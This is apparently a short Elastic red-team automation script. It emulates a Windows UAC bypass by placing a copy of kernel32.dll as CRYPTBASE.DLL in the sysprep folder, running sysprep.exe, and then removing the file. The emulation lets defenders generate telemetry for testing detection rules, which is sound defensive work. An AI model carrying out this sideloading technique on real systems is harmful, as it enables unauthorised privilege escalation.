26 lines
845 B
Python
26 lines
845 B
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
|
|
# or more contributor license agreements. Licensed under the Elastic License
|
|
# 2.0; you may not use this file except in compliance with the Elastic License
|
|
# 2.0.
|
|
|
|
# Name: Bypass UAC via Sysprep
|
|
# RTA: uac_sysprep.py
|
|
# ATT&CK: T1088
|
|
# Description: Use CRYPTBASE.dll opportunity to do Dll Sideloading with SysPrep for a UAC bypass
|
|
|
|
|
|
from . import common
|
|
|
|
|
|
@common.requires_os(common.WINDOWS)
|
|
def main():
|
|
common.log("Bypass UAC with CRYPTBASE.dll")
|
|
|
|
common.copy_file("C:\\windows\\system32\\kernel32.dll", "C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
|
|
common.execute(["C:\\Windows\\system32\sysprep\\sysprep.exe"], timeout=5, kill=True)
|
|
common.remove_file("C:\\Windows\\system32\sysprep\\CRYPTBASE.DLL")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
exit(main())
|